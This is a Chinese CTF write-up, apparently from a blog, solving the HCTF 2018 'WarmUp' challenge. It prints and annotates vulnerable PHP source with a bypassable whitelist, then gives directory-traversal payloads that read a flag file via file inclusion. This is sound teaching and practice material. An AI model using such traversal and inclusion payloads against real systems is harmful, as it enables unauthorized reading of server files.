[HCTF 2018] WarmUp

[HCTF 2018] WarmUp

开局一张图,先看看页面源码信息

image-20220502094237851

给出了一个 source.php 应该是后端的源码,这题代码审计了

image-20220502094350896

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];	# 这是定义了一个白名单
            if (! isset($page) || !is_string($page)) {	# 检查$page参数不是空值或者不是字符串,‘||’ 逻辑或,如果 x 和 y 至少有一个为 true,则返回 true
                echo "you can't see it";	
                return false;				# 如果 $page 不是空的 或者 不是字符串就返回 false
            }

            if (in_array($page, $whitelist)) {	# 检查 $page 是否在 $whitelist 中存在
                return true;
            }

            $_page = mb_substr(		# 获取 $page 中 从 0 开始 到 mb_strpos($page . '?', '?')结束的字符串
                $page,
                0,
                mb_strpos($page . '?', '?')	#mb_strpos($page . '?', '?') 表示获取 $page? 中 首次查找到 '?' 的位置,返回 int 类型
            );
            if (in_array($_page, $whitelist)) {		# 如果 $_page 在 $whitelist 中存在,则返回true
                return true;
            }

            $_page = urldecode($page);		# 对 $page 进行url解码
            $_page = mb_substr(	# 再截取 $page 中到首次出现的 ? 之前的字符串
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {		# 再进行判断 是否存在于 $whitelist 中
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

# 这里是主要判断的逻辑,首先判断 file 参数是不是空值,再判断 file 是不是字符串,最后将 file 传入 checkFile 类中再进行判断(传入后 $page=$_REQUEST['file']),"&&" 逻辑与,如果 x 和 y 都为 true,则返回 true

    if (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file']) ) 
    {
        include $_REQUEST['file'];	# 都返回true 就可以包含传入的文件了。($_REQUEST — HTTP Request 变量,默认情况下包含了 $_GET$_POST$_COOKIE 的数组。)
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

上面源码中 给出了 两个文件,还有一个 hint.php 没看,访问一下看看

image-20220502100232231

这里给出了flag的位置,下面就可以根据源码中的判断进行构造payload

# ! empty($_REQUEST['file'])	第一次判断,file参数是不是空的,非空为True
# is_string($_REQUEST['file'])	第二次判断,file参数是不是字符串,是字符串True
# emmm::checkFile($_REQUEST['file']) )	第三次,检查 file 的值(file中包含 $whilelist 存在的值)
# 由于 不知道 ffffllllaaaagggg 的位置,所以可以用 ../../../../../../ 目录穿越的方式进行访问(目录穿越建议6-10个../)
# payload

file=source.php?../../../../../ffffllllaaaagggg
file=hint.php?../../../../../ffffllllaaaagggg
  

image-20220502102806442

image-20220502102827139

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

iKnsec

您的鼓励,是我创作的动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值